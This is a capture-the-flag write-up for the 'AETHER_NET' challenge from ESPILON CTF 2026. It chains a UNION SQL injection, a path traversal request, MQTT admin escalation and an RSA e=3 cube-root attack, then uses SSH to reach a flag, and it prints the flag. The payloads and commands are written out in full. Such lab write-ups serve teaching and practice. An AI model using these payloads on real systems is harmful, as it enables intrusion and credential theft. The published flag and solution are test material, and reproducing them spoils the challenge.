ESPILON-CTF-2026-Writeups/Misc/AETHER_NET
2026-03-22 19:18:58 +01:00
..
README.md ESPILON CTF 2026 — Write-ups édition 1 (33 challenges) 2026-03-22 19:18:58 +01:00

AETHER_NET — Solution

Difficulty: Insane | Category: Misc | Flag: ESPILON{4eth3r_n3t_d3us_4dm1n}

Overview

Multi-layer network pivot challenge. 5 nodes, each requiring credentials extracted from the previous layer. All services run inside a single Docker container exposed on different ports.

lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22
   (entry hints)        (SQLi)           (MQTT)          (RSA decrypt)       (flag)

Layer 01 — Entry Terminal

nc <host> 1337

Read the available files:

cat notes.txt
cat /var/log/network.log
cat ~/.bash_history

notes.txt maps the network topology and drops the key hint:

"The search function... doesn't sanitize input. The system_config table has everything you need."

network.log lists all five nodes and their ports. .bash_history shows partial MQTT credentials and previous curl commands.


Layer 02 — Alice-Web (SQLi)

Hit the status endpoint first to confirm the hint:

curl http://<host>:8080/api/status

Response confirms: "The search endpoint passes input directly to SQLite. The system_config table contains network credentials."

UNION SQLi on /search?q=

The query is:

SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'

Extract the entire system_config table:

curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"

URL-decoded payload: ' UNION SELECT null,key,value,description FROM system_config--

Response contains:

{"results": [
  {"id": null, "name": "mqtt_user",   "room": "operator",     "status": "IoT broker username"},
  {"id": null, "name": "mqtt_pass",   "room": "<BEAR_PASS>",  "status": "IoT broker password"},
  {"id": null, "name": "mqtt_host",   "room": "bear-iot",     "status": "IoT broker hostname"},
  {"id": null, "name": "admin_token", "room": "<TOKEN_HEX>",  "status": "..."},
  ...
]}

Collect: mqtt_pass and admin_token (the 24-char hex token).

Alternative: path traversal

curl "http://<host>:8080/docs?file=../../var/aether/config.json"

Reads the full instance config directly, including all credentials.


Layer 03 — Bear-IoT (WIRED-MQTT)

Connect with netcat:

nc <host> 1883

Authenticate and escalate to admin:

CONNECT operator <mqtt_pass>
ADMIN <admin_token>
LIST

LIST reveals the two hidden topics:

  • wired/system/config
  • wired/knights/<random_10_chars>

Subscribe to get the RSA parameters:

SUBSCRIBE wired/system/config

Response includes:

RSA Public Key:
  n = <512-bit decimal>
  e = 3
Ciphertext (hex): <hex_string>

Subscribe to the knights topic for the exploit hint:

SUBSCRIBE wired/knights/<random>

Response (base64-decoded):

"e=3. No padding. The plaintext is short. Cube root gives the key."


Layer 04 — RSA Cube Root Attack

The RSA parameters are weak by design:

  • n is 512 bits (two 256-bit primes)
  • e = 3
  • Plaintext m ≤ 20 bytes → m < 2^160
  • Since m^3 < n, the modular reduction never triggers: c = m^3 exactly

Therefore: m = ∛c (integer cube root, no modular arithmetic needed).

import gmpy2, socket, struct

HOST = "<host>"
PORT = 9443

# Connect to maxis-crypto to confirm params (or use values from Layer 03)
with socket.create_connection((HOST, PORT)) as s:
    data = s.recv(4096).decode()
    print(data)

# Extract n and c from the received data, then:
n = <n_value>         # 512-bit integer
c = int("<ciphertext_hex>", 16)

m, exact = gmpy2.iroot(c, 3)
assert exact, "Cube root is not exact — attack condition failed"

# Decode the password (padded to 20 bytes with null bytes)
deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
print(f"deus SSH password: {deus_pass}")

Layer 05 — SSH to Deus-Admin

ssh deus@<host> -p 22
# Enter deus_pass from Layer 04
cat flag.txt
ESPILON{4eth3r_n3t_d3us_4dm1n}

Key Concepts

  • UNION-based SQLi: ' UNION SELECT ... FROM system_config-- exfiltrates internal credentials from a hidden table
  • Path traversal: ../../var/aether/config.json bypasses the /docs base directory restriction
  • Custom MQTT escalation: ADMIN <token> command unlocks hidden broker topics unavailable to regular subscribers
  • RSA e=3 cube root attack: When m^3 < n (no modular reduction), the ciphertext is literally m^3 — integer cube root recovers plaintext in O(1)

Author

Eun0us